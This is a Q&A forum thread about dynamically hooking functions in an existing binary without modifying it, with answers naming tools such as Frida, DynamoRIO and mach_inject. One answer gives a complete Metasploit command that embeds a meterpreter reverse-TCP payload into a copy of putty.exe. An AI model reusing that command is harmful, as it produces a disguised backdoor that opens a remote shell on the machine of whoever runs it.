1

(This question is related to How do I add functionality to an existing binary executable?).

I too would like to add functionality to an existing application, but I do not want to modify the original binary.

I imagine that, for some "well-behaved" compiled code, it ought to be possible to create a "wrapper" program that:

  1. maps the original binary's segments into its own memory space; and
  2. places its own redefined functions at the relevant addresses.

For example, suppose that loading the original binary would place void origfunction(int, int) at location 0x1234; my thought is that loading the wrapper might cause that function's machine code (from the original binary) to be loaded at 0x5678 with void newfunction(int, int) loaded at 0x1234 in its place. newfunction could then make a call to origfunction before/after performing its modifications.

Is this approach feasible? If not, why not?

If it is feasible, are there any tools that can assist in automating the generation of such a wrapper program? Generic answers would be most useful for future readers, but the original binary that I am working with right now is a fairly typical OS X one (Mach-O format, compiled from Objective-C).

3

Dynamic instrumentation tools like Frida or DynomoRIO are probably your best bet. Traditional code injection approaches like mach_inject on os x or detours on windows are things you could look into as well.

  • I suppose mentioning pin (which does not seem to be available anymore on MacOSX) and DynomoRIO, one could also add cycript to that list. It works remarkably well, though seems mostly undocumented. – Moreaki Jan 1 '17 at 14:02
1

Some of the tools i know of:

  1. Backdoor Factory: https://github.com/secretsquirrel/the-backdoor-factory

  2. Use Metasploit msfencode:

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe

Backdoor Factory support a varity of binaries such as ELF, Mach-O, PE.

  • Unless I've misunderstood, both those solutions appear to statically modify the underlying binary (which is something that I do not want to do). I am looking for tools through which one can create an executable that will dynamically load the original binary yet intercept its function calls. Or have I missed something? – eggyal Jan 15 '15 at 11:52
  • @eggyal: You are correct. I misunderstood the question, sorry. – jonasl Jan 19 '15 at 6:25
0

Theoretically i don't think anything else than hijacking program flow. It is a common problem for virus writers when they try to infect executable files and not to change anything much. As well as viruses your wrapper can use one of these methods for hijacking and redirecting program flow. I assume you can't use standard wrapper types (correct me if i am wrong) like glibc library or wrapper programs because a mechanism like dynamic linking.

You can use one of these method if i understood your problem right:

  • Debugging target process
  • Changing entry point to your binary
  • Controlling operating system interfaces with any other method

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.